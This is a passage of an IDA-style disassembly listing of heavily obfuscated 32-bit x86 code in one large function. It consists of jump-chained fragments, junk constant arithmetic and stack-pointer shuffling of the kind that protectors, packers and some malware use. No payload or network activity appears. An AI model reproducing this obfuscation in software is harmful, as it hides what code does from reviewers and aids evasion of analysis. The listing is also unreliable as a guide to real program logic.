loc_595B3E ; --------------------------------------------------------------------------- loc_594A06: ; CODE XREF: sub_580566+179D8j sub [esp-44h+arg_44], eax sub [esp-44h+arg_44], 5E6C39B5h pop eax mov esi, [esp-48h+arg_40] push ebx push esp pop ebx push esi mov esi, 4 add ebx, esi jmp loc_592D5F ; --------------------------------------------------------------------------- loc_594A26: ; CODE XREF: sub_580566+129C4j add edi, ecx pop ecx push edi push [esp-4Ah+arg_44+2] pop edi pop [esp-4Ah+arg_40+2] pop esp push edx push 6F6Bh mov [esp-4Ah+arg_40+2], eax mov eax, 312615ABh push edi mov edi, 2B1195h jmp loc_594C9B ; --------------------------------------------------------------------------- loc_594A4C: ; CODE XREF: sub_580566+2326Cj pop edi push 36Fh mov [esp-46h+arg_3C+2], ecx push [esp-46h+arg_40+2] pop ecx jmp loc_5A574A ; --------------------------------------------------------------------------- loc_594A5F: ; CODE XREF: sub_580566+14A57j add ebp, 4 xchg ebp, [esp-46h+arg_3C+2] jmp loc_5936DF ; --------------------------------------------------------------------------- loc_594A6A: ; CODE XREF: sub_580566+1E00Cj mov edx, 5BCC0A8Eh or edx, 3E8217Fh or edx, 14A844AFh sub esp, 4 mov [esp-42h+arg_38+2], eax mov eax, 7BD15976h not eax jmp loc_5921D5 ; --------------------------------------------------------------------------- loc_594A8D: ; CODE XREF: sub_580566+13684j sub esp, 4 mov [esp-2Eh+arg_24+2], ebx mov ebx, 74405774h xor ebx, 4124273Bh jmp loc_595283 ; --------------------------------------------------------------------------- loc_594AA6: ; CODE XREF: sub_580566+1E7FFj mov [esp-2Eh+arg_24+2], ebx mov ebx, 46B557A6h add edx, ebx pop ebx jmp loc_5A58A4 ; --------------------------------------------------------------------------- loc_594AB6: ; CODE XREF: sub_580566+206D4j mov cl, 0BAh jmp loc_59CD91 ; --------------------------------------------------------------------------- loc_594ABD: ; CODE XREF: sub_580566+21254j add al, 37h add al, cl push ebx mov bh, 0C1h xor bh, 0B9h jmp loc_5945C1 ; --------------------------------------------------------------------------- loc_594ACC: ; CODE XREF: sub_580566+1F34Fj mov esi, 3BD437B0h add [esp-2Eh+arg_2C+2], esi mov esi, [esp-2Eh+arg_24+2] add esp, 4 add [esp-32h+arg_2C+2], ecx push edx jmp loc_596E15 ; --------------------------------------------------------------------------- loc_594AE5: ; CODE XREF: sub_580566+1FDEBj add ecx, 4 push ebx mov ebx, 7C0A114Bh sub ebx, 5896h push 0 sub [esp+0], ebx pop ebx push ebp jmp loc_594635 ; --------------------------------------------------------------------------- loc_594B06: ; CODE XREF: sub_580566+11390j push edx jmp loc_59D610 ; --------------------------------------------------------------------------- loc_594B0C: ; CODE XREF: sub_580566+1D16Dj sub dl, 6Eh sub dl, 4Ah dec dl jmp loc_5A2606 ; --------------------------------------------------------------------------- loc_594B19: ; CODE XREF: sub_580566+1A339j add esp, 4 push edi push 4E5D3678h jmp loc_59D243 ; --------------------------------------------------------------------------- loc_594B27: ; CODE XREF: sub_580566+1E08Aj sub edi, 483B334Ah add edi, ecx add edi, 483B334Ah pop ecx jmp loc_59AD9A ; --------------------------------------------------------------------------- mov ax, fs:[edx] jmp loc_594C1B ; --------------------------------------------------------------------------- loc_594B44: ; CODE XREF: sub_580566+2421Ej push edx jmp loc_59D53C ; --------------------------------------------------------------------------- loc_594B4A: ; CODE XREF: sub_580566+2563Cj mov ebx, [esp-4Ch+arg_44] jmp loc_5A18C5 ; --------------------------------------------------------------------------- loc_594B52: ; CODE XREF: sub_580566+22FA4j mov ebx, [esp-4Ch+arg_44] add esp, 4 shl edi, 3 shl edi, 5 and edi, 102F26D0h and edi, 144B4852h push ecx push ebx push 20B526A9h pop ebx jmp loc_5961BE ; --------------------------------------------------------------------------- loc_594B7A: ; CODE XREF: sub_580566+12B05j pop esi sub ebp, 4 jmp loc_59C74A ; --------------------------------------------------------------------------- loc_594B83: ; CODE XREF: sub_580566+1F9D3j inc esi add esi, 171350C4h xor esi, 7C4C5FF7h jmp loc_5A54B1 ; --------------------------------------------------------------------------- loc_594B95: ; CODE XREF: sub_580566+1CB30j xor [esp-42h+arg_38+2], ecx xor ecx, [esp-42h+arg_38+2] jmp loc_5936C2 ; --------------------------------------------------------------------------- loc_594BA0: ; CODE XREF: sub_580566+19439j or eax, 4AC40A32h jmp loc_59A2ED ; --------------------------------------------------------------------------- loc_594BAA: ; CODE XREF: sub_580566+22C50j mov [esp-42h+arg_38+2], edi mov edi, 5D77458Ch shl edi, 7 sub edi, 0A10BDEA5h add edx, edi pop edi mov edi, edx pop edx inc edi and edi, 1BB06F24h jmp loc_59114F ; --------------------------------------------------------------------------- loc_594BCD: ; CODE XREF: sub_580566+17BF8j add esp, 4 jmp loc_59BC73 ; --------------------------------------------------------------------------- push [esp-4Eh+arg_44+2] push [esp-4Ah+arg_40+2] jmp loc_591988 ; --------------------------------------------------------------------------- loc_594BE0: ; CODE XREF: sub_580566+252EFj and edx, 0C505657h add edx, 3B122C9Bh jmp loc_5969B6 ; --------------------------------------------------------------------------- loc_594BF1: ; CODE XREF: sub_580566+17A6Aj add edx, 713F4745h add edi, 58F05456h sub edi, edx sub edi, 58F05456h jmp loc_592F12 ; --------------------------------------------------------------------------- loc_594C0A: ; CODE XREF: sub_580566+211FAj add esi, 72C50199h xor esi, 2E4F0425h jmp loc_59E2A7 ; --------------------------------------------------------------------------- loc_594C1B: ; CODE XREF: sub_580566+145D9j push small 334Ah jmp loc_590C0F ; --------------------------------------------------------------------------- loc_594C24: ; CODE XREF: sub_580566+1ABFDj sub esp, 4 mov [esp-4Ah+arg_40+2], ebp mov ebp, esp jmp loc_59E6D7 ; --------------------------------------------------------------------------- loc_594C31: ; CODE XREF: sub_580566+19A6Dj add ecx, 0DA9CF3E4h push esi mov esi, 7E282D6Ch dec esi not esi or esi, 64A33C2Fh jmp loc_591651 ; --------------------------------------------------------------------------- loc_594C4B: ; CODE XREF: sub_580566+147DCj pop esi push edx jmp loc_59BDEE ; --------------------------------------------------------------------------- loc_594C52: ; CODE XREF: sub_580566+14C07j mov [esp-46h+arg_3C+2], ebx push 6B56h jmp loc_590E75 ; --------------------------------------------------------------------------- loc_594C5F: ; CODE XREF: sub_580566+11C00j push [esp-40h+arg_38] pop ecx add esp, 4 shr ecx, 1 shr ecx, 6 jmp loc_5918FB ; --------------------------------------------------------------------------- loc_594C73: ; CODE XREF: sub_580566+20492j mov ebp, 0F2542A7h jmp loc_59351B ; --------------------------------------------------------------------------- loc_594C7D: ; CODE XREF: sub_580566+249C3j pop ecx sub al, 8Fh add al, cl add al, 8Fh push ebx mov bl, 7Bh inc bl push cx mov ch, 34h jmp loc_59F51D ; --------------------------------------------------------------------------- loc_594C92: ; CODE XREF: sub_580566+15FF6j pop ebp xchg ecx, [esp-46h+arg_3C+2] jmp loc_596E00 ; --------------------------------------------------------------------------- loc_594C9B: ; CODE XREF: sub_580566+144E1j or eax, edi pop edi jmp loc_593320 ; --------------------------------------------------------------------------- loc_594CA3: ; CODE XREF: sub_580566+1B335j and eax, ebp push [esp-4Ah+arg_40+2] push [esp-46h+arg_3C+2] pop ebp push ebx mov ebx, esp jmp loc_5A1B70 ; --------------------------------------------------------------------------- loc_594CB4: ; CODE XREF: sub_580566+17550j mov ebx, 4 jmp loc_59658F ; --------------------------------------------------------------------------- loc_594CBE: ; CODE XREF: sub_580566+1407Aj sub ebx, eax pop eax jmp loc_5A367B ; --------------------------------------------------------------------------- loc_594CC6: ; CODE XREF: sub_580566+1B975j mov edx, [esp-20h+arg_16+2] add esp, 4 push esi jmp loc_59DE10 ; --------------------------------------------------------------------------- loc_594CD2: ; CODE XREF: sub_580566+1785Dj add ebx, esi jmp loc_5A4ED8 ; --------------------------------------------------------------------------- off_594CD9 dd offset dword_555548+220h ; DATA XREF: sub_580566+1027Eo align 2 mov [esp-20h+arg_16+2], edx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_594CE6: ; CODE XREF: sub_580566+12B6Cj push edi push [esp-3Eh+arg_38+2] pop edi pop [esp-3Eh+arg_34+2] jmp loc_59E5FC ; --------------------------------------------------------------------------- loc_594CF4: ; CODE XREF: sub_580566+13DC8j mov ax, word ptr [esp-34h+arg_2C] add esp, 2 shr dl, 3 push eax mov al, 61h sub al, 0D1h jmp loc_5A1A20 ; --------------------------------------------------------------------------- loc_594D08: ; CODE XREF: sub_580566+14C81j mov word ptr [esp-34h+arg_2C], bx mov bh, 0B9h jmp loc_59DE7A ; --------------------------------------------------------------------------- loc_594D13: ; CODE XREF: sub_580566+2121Aj sub esp, 4 mov [esp-30h+arg_28], ecx jmp loc_59CEF4 ; --------------------------------------------------------------------------- loc_594D1E: ; CODE XREF: sub_580566+238DFj pop ebx mov dh, al jmp loc_5A105C ; --------------------------------------------------------------------------- loc_594D26: ; CODE XREF: sub_580566+1C7B1j add esi, 49F94ABAh jmp loc_598A09 ; --------------------------------------------------------------------------- loc_594D31: ; CODE XREF: sub_580566+1505Cj mov eax, 63704392h jmp loc_590CBB ; --------------------------------------------------------------------------- loc_594D3B: ; CODE XREF: sub_580566+14E4Cj pop esp push esi push 7A361320h jmp loc_594C4B ; --------------------------------------------------------------------------- loc_594D47: ; CODE XREF: sub_580566+14D05j xor ebp, 59A227D6h mov eax, ebp pop ebp add eax, 1 push eax not [esp-30h+arg_28] pop eax jmp loc_59A723 ; --------------------------------------------------------------------------- loc_594D5D: ; CODE XREF: sub_580566+13B75j mov [esp-32h+arg_28+2], ecx push [esp-32h+arg_2C+2] pop ecx pop [esp-32h+arg_28+2] pop esp mov [esp-3Ah+arg_30+2], edx push 1 pop edx push 166Ah jmp loc_59150D ; --------------------------------------------------------------------------- loc_594D7C: ; CODE XREF: sub_580566+24323j mov esp, [esp-36h+arg_2C+2] mov [esp-36h+arg_2C+2], ebx sub esp, 4 mov [esp-32h+arg_28+2], ecx mov cl, al sub esp, 4 jmp loc_59C634 ; --------------------------------------------------------------------------- loc_594D95: ; DATA XREF: sub_580566+10266o push dword ptr [edi+40h] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_594D9D: ; CODE XREF: sub_580566+16B44j xor cl, 79h sub cl, 20h jmp loc_5A3313 ; --------------------------------------------------------------------------- loc_594DA8: ; CODE XREF: sub_580566+20904j sub esp, 4 jmp loc_59A187 ; --------------------------------------------------------------------------- loc_594DB0: ; CODE XREF: sub_580566+1DB8Aj mov edx, 5CC94763h shr edx, 6 jmp loc_599C62 ; --------------------------------------------------------------------------- loc_594DBD: ; CODE XREF: sub_580566+130ECj sub ebp, 21412606h add ebp, edx jmp loc_59783B ; --------------------------------------------------------------------------- loc_594DCA: ; CODE XREF: sub_580566+18320j mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_598B15 ; --------------------------------------------------------------------------- loc_594DDD: ; CODE XREF: sub_580566+1E126j push edx push 6057h jmp loc_59FF31 ; --------------------------------------------------------------------------- loc_594DE8: ; CODE XREF: sub_580566+15AE3j xchg ebx, [esp-20h+arg_16+2] pop esp push 5FE9h jmp loc_590CA3 ; --------------------------------------------------------------------------- loc_594DF6: ; CODE XREF: sub_580566+232B8j pop esp jmp loc_59F197 ; --------------------------------------------------------------------------- loc_594DFC: ; CODE XREF: sub_580566+19B80j mov edi, 5DF00F8Bh push ecx mov ecx, 38D61EC0h sub edi, ecx mov ecx, [esp-20h+arg_16+2] add esp, 4 and edi, 45CE48C3h jmp loc_5A5905 ; --------------------------------------------------------------------------- loc_594E1D: ; CODE XREF: sub_580566+10FF4j xchg ecx, [esp-2Eh+arg_24+2] mov esp, [esp-2Eh+arg_24+2] div cx push 5E50h mov [esp-2Ah+arg_20+2], ebx push 510Ah jmp loc_59A840 ; --------------------------------------------------------------------------- loc_594E38: ; CODE XREF: sub_580566+16376j add eax, 4 xchg eax, [esp+0] jmp loc_59BC88 ; --------------------------------------------------------------------------- loc_594E45: ; CODE XREF: sub_580566+1EDDDj sub [edi+24h], ecx push dword ptr [esp+0] mov ecx, [esp-22h+arg_1A] push ebp jmp loc_596D54 ; --------------------------------------------------------------------------- loc_594E54: ; CODE XREF: sub_580566+10E8Bj add ecx, 4 jmp loc_59654E ; --------------------------------------------------------------------------- loc_594E5F: ; CODE XREF: sub_580566+14D6Dj sub esp, 4 mov [esp+0], ebx mov ebx, 4AD64969h xchg esi, ebx inc esi xchg esi, ebx dec ebx jmp loc_5A271D ; --------------------------------------------------------------------------- loc_594E78: ; CODE XREF: sub_580566+2252Ej pop esp add edi, edx add edi, 4D72557h pop edx jmp loc_599E62 ; --------------------------------------------------------------------------- loc_594E87: ; CODE XREF: sub_580566+217DCj push ebx mov ebx, 2C4A654Ch add edi, 3B474F21h add edi, ebx sub edi, 3B474F21h jmp loc_5954E2 ; --------------------------------------------------------------------------- loc_594EA0: ; CODE XREF: sub_580566+13F29j mov edi, 3C3F1DB6h xor edx, edi pop edi add eax, 2D3E4FDEh sub eax, 11B37483h sub eax, edx push edi mov edi, 11B37483h add eax, edi pop edi jmp loc_59E38A ; --------------------------------------------------------------------------- loc_594EC2: ; CODE XREF: sub_580566+21794j pop esp jmp loc_59FF1B ; --------------------------------------------------------------------------- loc_594EC8: ; CODE XREF: sub_580566+1E37Aj push ebx push [esp-4Eh+arg_48+2] jmp loc_59D3F9 ; --------------------------------------------------------------------------- loc_594ED2: ; CODE XREF: sub_580566+2510Fj push edi mov edi, 70D37B4Eh add esi, edi pop edi shl esi, 3 add esi, 539D1F14h jmp loc_5A3C72 ; --------------------------------------------------------------------------- loc_594EE9: ; CODE XREF: sub_580566+11AEBj pop esp add esp, 4 loc_594EF0: ; CODE XREF: sub_580566+23347j push 303Fh jmp loc_59D98F ; --------------------------------------------------------------------------- loc_594EFA: ; CODE XREF: sub_580566+2189Fj sub bl, dl jmp loc_5A5B43 ; --------------------------------------------------------------------------- loc_594F01: ; CODE XREF: sub_580566+22AEEj pop eax sub dword ptr [edi+20h], 1BD93385h push 66CCh mov [esp-4Ch+arg_44], ebx push esi push 6F625BDCh mov esi, [esp-44h+arg_3C] add esp, 4 and esi, 6230449Dh push ecx jmp loc_5982CD ; --------------------------------------------------------------------------- loc_594F29: ; CODE XREF: sub_580566+1CE18j mov [esp-44h+arg_3C], ebx mov ebx, 110C07E1h neg ebx dec ebx or ebx, 1A9E600Dh sub ebx, 83F17D1Bh mov eax, ebx jmp loc_59D4CB ; --------------------------------------------------------------------------- loc_594F47: ; CODE XREF: sub_580566+170BFj pop edx add eax, ebx mov ebx, [esp-48h+arg_40] jmp loc_598D35 ; --------------------------------------------------------------------------- loc_594F52: ; CODE XREF: sub_580566+134ADj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-4Eh+arg_44+2] pop esp mov [esp-52h+arg_48+2], ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 add ecx, ebx pop ebx jmp loc_5A145A ; --------------------------------------------------------------------------- loc_594F7D: ; CODE XREF: sub_580566+2097Cj mov ebx, 6A3C209Eh jmp loc_591C03 ; --------------------------------------------------------------------------- loc_594F87: ; CODE XREF: sub_580566+1CC9Cj sub ebx, 697E6DCFh shl ebx, 8 jmp loc_59FEFC ; --------------------------------------------------------------------------- loc_594F95: ; CODE XREF: sub_580566+1EFB2j neg ebp dec ebp xor ebp, 0CC28DF4Ah jmp loc_595FD7 ; --------------------------------------------------------------------------- loc_594FA3: ; CODE XREF: sub_580566+105F4j mov [esp-5Eh+arg_56], ebp push [esp-5Eh+arg_5A] pop ebp pop [esp-5Eh+arg_56] pop esp xor edx, [esp-66h+arg_5E] xor [esp-66h+arg_5E], edx jmp loc_595A62 ; --------------------------------------------------------------------------- loc_594FBA: ; CODE XREF: sub_580566+13157j add esp, 4 jmp loc_594A5F ; --------------------------------------------------------------------------- loc_594FC2: ; CODE XREF: sub_580566+12149j mov ecx, esp add ecx, 4 jmp loc_59DBA7 ; --------------------------------------------------------------------------- loc_594FCF: ; CODE XREF: sub_580566+21319j sub esi, 2B0929A9h mov edx, esi jmp loc_59A825 ; --------------------------------------------------------------------------- loc_594FDC: ; CODE XREF: sub_580566+1FDDFj add esp, 4 shl eax, 5 jmp loc_59C98B ; --------------------------------------------------------------------------- loc_594FE7: ; CODE XREF: sub_580566+1F96Dj add ebx, edx pop edx xchg ebx, [esp-56h+arg_4E] jmp loc_599F9C ; --------------------------------------------------------------------------- loc_594FF2: ; CODE XREF: sub_580566+21E25j sub ecx, ebx pop ebx mov edx, ecx jmp loc_59A89C ; --------------------------------------------------------------------------- loc_594FFC: ; CODE XREF: sub_580566+16E87j shl dl, 1 add dl, 56h xor al, dl jmp loc_5A3CD5 ; --------------------------------------------------------------------------- loc_595008: ; CODE XREF: sub_580566+1173Bj mov ebx, [esp-2Ch+arg_24] add esp, 4 push ebp push [esp-2Ch+arg_28] jmp loc_5A2E1B ; --------------------------------------------------------------------------- loc_59501B: ; CODE XREF: sub_580566+20238j mov [esp-28h+arg_20], esi mov esi, 519122Fh jmp loc_59660F ; --------------------------------------------------------------------------- loc_595028: ; CODE XREF: sub_580566+1F669j xor esi, [esp-28h+arg_20] jmp loc_5A073E ; --------------------------------------------------------------------------- loc_595030: ; CODE XREF: sub_580566+154BFj sub edx, 36477580h add ebp, edx pop edx add ebp, 4 jmp loc_5A28EE ; --------------------------------------------------------------------------- loc_595044: ; CODE XREF: sub_580566+12EFCj shr edx, 7 neg edx dec edx add edx, 200ADF12h and edx, 0E246C9Fh xor edx, 0E202016h add ebx, edx mov edx, [esp-28h+arg_20] add esp, 4 add ebx, 4 jmp loc_5A4445 ; --------------------------------------------------------------------------- loc_595072: ; CODE XREF: sub_580566+24B00j pop esi push edi jmp loc_59FFF1 ; --------------------------------------------------------------------------- loc_595079: ; CODE XREF: sub_580566+173DFj xor edx, ebx pop ebx shr edx, 3 jmp loc_5A45E6 ; --------------------------------------------------------------------------- loc_595084: ; CODE XREF: sub_580566+1F76Fj push 4 jmp loc_59A5B5 ; --------------------------------------------------------------------------- loc_59508E: ; CODE XREF: sub_580566+1AB20j mov esi, edx jmp loc_59B15A ; --------------------------------------------------------------------------- loc_595095: ; CODE XREF: sub_580566+11C79j add eax, 9FEC98F1h sub edx, eax pop eax xor ecx, edx jmp loc_591CB3 ; --------------------------------------------------------------------------- loc_5950A4: ; CODE XREF: sub_580566+16E42j add ebx, 2146F17h mov ebp, [esp-4Ch+arg_44] push ebp push esp pop ebp push edi jmp loc_5A52F1 ; --------------------------------------------------------------------------- loc_5950B6: ; CODE XREF: sub_580566+1C6CEj sub ebx, 65E16DF4h add ebx, 6BD2188Eh pop eax jmp loc_5A15B2 ; --------------------------------------------------------------------------- loc_5950C8: ; CODE XREF: sub_580566+25381j mov ebx, [esp-48h+arg_40] add esp, 4 pop eax push 186Bh mov [esp-4Ch+arg_44], esi jmp loc_5926DA ; --------------------------------------------------------------------------- loc_5950DF: ; CODE XREF: sub_580566+2188Bj push ebx mov ebx, 7C3C093Fh not ebx xor ebx, 2E70A06h neg ebx push esi jmp loc_5A45FC ; --------------------------------------------------------------------------- loc_5950F5: ; CODE XREF: sub_580566+18621j mov [esp-44h+arg_3C], edx sub esp, 4 push esp jmp loc_59D75F ; --------------------------------------------------------------------------- loc_595101: ; CODE XREF: sub_580566+1E140j mov ecx, [esp-3Ch+arg_34] add esp, 4 sub ebx, ebp jmp loc_5997DB ; --------------------------------------------------------------------------- loc_59510E: ; DATA XREF: sub_580566+10256o mov cx, word ptr [esp-40h+arg_38] push ebx mov ebx, esp jmp loc_59F0D9 ; --------------------------------------------------------------------------- loc_59511A: ; CODE XREF: sub_580566+1DC99j xchg ecx, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] push edx mov edx, 765374h add edi, 658B25BCh add edi, edx sub edi, 658B25BCh jmp loc_5A4BA2 ; --------------------------------------------------------------------------- loc_595139: ; CODE XREF: sub_580566+2356Bj not esi xor esi, 6D551FDBh add ebp, 316863C8h add ebp, esi sub ebp, 316863C8h jmp loc_59782F ; --------------------------------------------------------------------------- loc_595154: ; CODE XREF: sub_580566+17A8Cj mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5961A2 ; --------------------------------------------------------------------------- loc_595164: ; CODE XREF: sub_580566+21A59j mov eax, [esp-38h+arg_30] jmp loc_5A4E5A ; --------------------------------------------------------------------------- loc_59516C: ; CODE XREF: sub_580566+106FDj pop esp jmp loc_594C52 ; --------------------------------------------------------------------------- loc_595172: ; CODE XREF: sub_580566+2550Ej push ecx jmp loc_5922BB ; --------------------------------------------------------------------------- loc_595178: ; CODE XREF: sub_580566+21429j pop [esp-42h+arg_38+2] mov esp, [esp-46h+arg_3C+2] or eax, eax jz loc_59886E push dword ptr [edi+1Ch] push [esp-42h+arg_38+2] jmp loc_59671B ; --------------------------------------------------------------------------- loc_595191: ; CODE XREF: sub_580566+22B74j pop edx xor edi, [esp-42h+arg_38+2] xor [esp-42h+arg_38+2], edi xor edi, [esp-42h+arg_38+2] mov esp, [esp-42h+arg_38+2] or word ptr [esp-42h+arg_38+2], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5951A8: ; CODE XREF: sub_580566+1E091j sub esi, 4D863504h pop ecx push eax push ebp push 234904EAh pop ebp sub ebp, 5662207Ch and ebp, 3F932527h xor ebp, 58032C26h mov eax, ebp pop ebp xor esi, eax pop eax push 30A3h mov [esp-3Eh+arg_34+2], ebx mov ebx, esi jmp loc_5A213D ; --------------------------------------------------------------------------- loc_5951DE: ; CODE XREF: sub_580566+150A4j or cl, 0F1h shr cl, 6 sub esp, 2 jmp loc_594D08 ; --------------------------------------------------------------------------- loc_5951EC: ; CODE XREF: sub_580566+1E5A0j mov edx, 60ED4081h mov ecx, edx mov edx, [esp-3Ah+arg_30+2] add esp, 4 or ecx, 3F2E3E74h push esi mov esi, 87407A5h jmp loc_59A4AD ; --------------------------------------------------------------------------- loc_59520D: ; CODE XREF: sub_580566+1E2F1j pop ecx push 4847h mov [esp-3Ah+arg_30+2], ebx push 4C6Ah mov [esp-36h+arg_2C+2], esp push edx mov edx, 4 add [esp-32h+arg_2C+2], edx push [esp-32h+arg_28+2] pop edx add esp, 4 push [esp-36h+arg_2C+2] mov ebx, [esp-32h+arg_28+2] jmp loc_59648E ; --------------------------------------------------------------------------- loc_59523A: ; CODE XREF: sub_580566+225DCj push edi pop eax push [esp-32h+arg_28+2] pop edi add esp, 4 add esi, 63B25EEEh add esi, eax sub esi, 63B25EEEh push [esp-36h+arg_2C+2] mov eax, [esp-32h+arg_28+2] jmp loc_59FFE6 ; --------------------------------------------------------------------------- loc_59525C: ; CODE XREF: sub_580566+1B6F7j or ebp, 3DD56888h add ebp, 7C3926FFh shr ebp, 5 jmp loc_594D47 ; --------------------------------------------------------------------------- loc_595270: ; CODE XREF: sub_580566+156F7j push ecx mov ecx, 16B67669h not ecx and ecx, 62D47721h jmp loc_59D865 ; --------------------------------------------------------------------------- loc_595283: ; CODE XREF: sub_580566+1453Bj xor ebx, 22E204E4h jmp loc_5A0E7A ; --------------------------------------------------------------------------- loc_59528E: ; CODE XREF: sub_580566+16C43j pop esp shl esi, 7 jmp loc_59EDCD ; --------------------------------------------------------------------------- loc_595297: ; CODE XREF: sub_580566+137DBj add edi, 73FB7E14h push eax mov eax, edi push ecx jmp loc_5A0EE7 ; --------------------------------------------------------------------------- loc_5952A6: ; CODE XREF: sub_580566+11383j mov ebx, 4 sub eax, ebx mov ebx, [esp-50h+arg_48] add esp, 4 xchg eax, [esp+0] mov esp, [esp+0] mov [esp+0], edx sub esp, 4 mov [esp-50h+arg_48], edi mov edi, 77EE69ACh push ebp mov ebp, 79346133h neg ebp inc ebp jmp loc_594E5F ; --------------------------------------------------------------------------- loc_5952D8: ; CODE XREF: sub_580566+16C6Cj pop edi push eax push ebx mov ebx, 34E20722h jmp loc_595D3A ; --------------------------------------------------------------------------- loc_5952E5: ; CODE XREF: sub_580566+15838j mov edi, 466C00BBh shl edi, 7 add edi, 0FFFFFFFFh sub edi, 2CC12658h add eax, edi pop edi inc eax jmp loc_59F6E1 ; --------------------------------------------------------------------------- loc_5952FF: ; CODE XREF: sub_580566+195C6j add esi, 6062B960h or ebx, esi pop esi push esi mov esi, 4E6356C1h jmp loc_5A242C ; --------------------------------------------------------------------------- loc_595313: ; CODE XREF: sub_580566+12A8Dj shl edi, 8 push eax push ebp mov ebp, 3C554D06h sub ebp, 42630D4h sub ebp, 4ED1373Eh push ebx mov ebx, 53DE139Fh sub ebp, ebx pop ebx shr ebp, 5 inc ebp xor ebp, 7380EBB7h mov eax, ebp jmp loc_5A17DC ; --------------------------------------------------------------------------- loc_595343: ; CODE XREF: sub_580566+141FBj movsx ecx, al push 7447h mov [esp-4Ah+arg_40+2], ecx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_595353: ; CODE XREF: sub_580566+24A9Fj push ecx push edi push esp pop edi add edi, 4 sub edi, 4 jmp loc_59F31E ; --------------------------------------------------------------------------- loc_595365: ; CODE XREF: sub_580566+1FB1Ej pop [esp-42h+arg_38+2] jmp loc_59930E ; --------------------------------------------------------------------------- loc_59536D: ; CODE XREF: sub_580566+13868j xchg ebx, [esp-36h+arg_2C+2] jmp loc_5A3B62 ; --------------------------------------------------------------------------- loc_595375: ; CODE XREF: sub_580566+21B0Dj pop esi jmp loc_59616E ; --------------------------------------------------------------------------- loc_59537B: ; CODE XREF: sub_580566+203C3j mov ebp, 40AA214Fh push edx mov edx, 7650D9Dh and edx, 12BF390Ah xor edx, 5C633369h jmp loc_5A49CF ; --------------------------------------------------------------------------- lodsw push small 1158h mov word ptr [esp-34h+arg_2C], di mov di, 6059h push esi mov si, 2121h jmp loc_59867E ; --------------------------------------------------------------------------- loc_5953AF: ; CODE XREF: sub_580566+1CF33j xchg edx, [esp-30h+arg_28] jmp loc_594D3B ; --------------------------------------------------------------------------- loc_5953B7: ; CODE XREF: sub_580566+2535Bj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-2Ch+arg_24] pop esp jmp loc_595DB9 ; --------------------------------------------------------------------------- loc_5953CC: ; CODE XREF: sub_580566+1E4A0j sub esp, 4 mov [esp-2Ch+arg_24], esi push [esp-2Ch+arg_28] jmp loc_59D1F6 ; --------------------------------------------------------------------------- loc_5953DB: ; CODE XREF: sub_580566+111C5j mov ecx, 4 add ebx, 0D4F1966h jmp loc_59BEF4 ; --------------------------------------------------------------------------- loc_5953EB: ; CODE XREF: sub_580566+19A52j pop ebx jmp loc_599E31 ; --------------------------------------------------------------------------- loc_5953F1: ; CODE XREF: sub_580566+1C981j xor [esp-3Ch+arg_34], ebp jmp loc_5A5B33 ; --------------------------------------------------------------------------- loc_5953F9: ; CODE XREF: sub_580566+1B6B8j sub bl, ah sub bl, 78h push ax mov ah, 44h add bl, ah pop ax pop eax mov ah, bl pop ebx add bl, ah mov ax, word ptr [esp-44h+arg_3C] push ebp mov ebp, esp add ebp, 4 add ebp, 2 jmp loc_5A1D47 ; --------------------------------------------------------------------------- loc_595421: ; CODE XREF: sub_580566+1CCB3j xor eax, ecx pop ecx sub edi, 1604478Ch push ebp jmp loc_5943A8 ; --------------------------------------------------------------------------- loc_595430: ; CODE XREF: sub_580566+1AAB4j push [esp-40h+arg_3C] push [esp-3Ch+arg_34] pop ebp add esp, 4 pop [esp-40h+arg_38] jmp loc_5A0BDA ; --------------------------------------------------------------------------- loc_595443: ; CODE XREF: sub_580566+18D4Bj mov ax, 1E2Dh xor ax, 2D65h or ax, 4D97h sub ax, 5525h sub ax, 65A5h jmp loc_59980F ; --------------------------------------------------------------------------- loc_59545C: ; CODE XREF: sub_580566+24091j mov ebx, [esp-44h+arg_3C] add esp, 4 add eax, 2 push eax push [esp-44h+arg_40] pop eax pop [esp-44h+arg_3C] jmp loc_59269F ; --------------------------------------------------------------------------- loc_595476: ; CODE XREF: sub_580566+1617Bj mov edi, 0D922756Bh push 0E5Fh mov [esp-44h+arg_3C], eax jmp loc_59E7EA ; --------------------------------------------------------------------------- loc_595488: ; CODE XREF: sub_580566+1878Dj pop edi push 22A6h mov [esp-44h+arg_3C], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5A0424 ; --------------------------------------------------------------------------- loc_5954A1: ; CODE XREF: sub_580566+22BEAj mov [esp-44h+arg_3C], ecx mov ch, bl jmp loc_592CEE ; --------------------------------------------------------------------------- loc_5954AB: ; CODE XREF: sub_580566+2246Aj push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp-44h+arg_3C] mov esp, [esp-44h+arg_3C] jmp loc_5A0CC9 ; --------------------------------------------------------------------------- loc_5954C1: ; CODE XREF: sub_580566+1289Dj xor ah, 0F0h jmp loc_59B23B ; --------------------------------------------------------------------------- loc_5954C9: ; CODE XREF: sub_580566+1B150j pop ebx mov al, ch mov ecx, [esp-2Ch+arg_24] jmp loc_5A0C4A ; --------------------------------------------------------------------------- loc_5954D4: ; CODE XREF: sub_580566+1D31Fj add esp, 4 shr ecx, 0Ah jmp loc_59F5AB ; --------------------------------------------------------------------------- loc_5954E2: ; CODE XREF: sub_580566+14935j pop ebx jmp loc_594742 ; --------------------------------------------------------------------------- loc_5954E8: ; CODE XREF: sub_580566+218DCj pop ecx sub edx, ebp pop ebp and esi, edx mov edx, [esp-36h+arg_2C+2] add esp, 4 xchg eax, esi push 122Bh mov [esp-36h+arg_2C+2], eax not [esp-36h+arg_2C+2] jmp loc_5A1973 ; --------------------------------------------------------------------------- loc_595505: ; CODE XREF: sub_580566+136ABj inc dl add dl, 0BFh dec dl add dl, 40h sub al, dl pop edx jmp loc_590C4F ; --------------------------------------------------------------------------- loc_595517: ; CODE XREF: sub_580566+15843j sub esp, 4 jmp loc_5A1907 ; --------------------------------------------------------------------------- loc_59551F: ; CODE XREF: sub_580566+20009j mov [esp-36h+arg_2C+2], ecx jmp loc_59EA0B ; 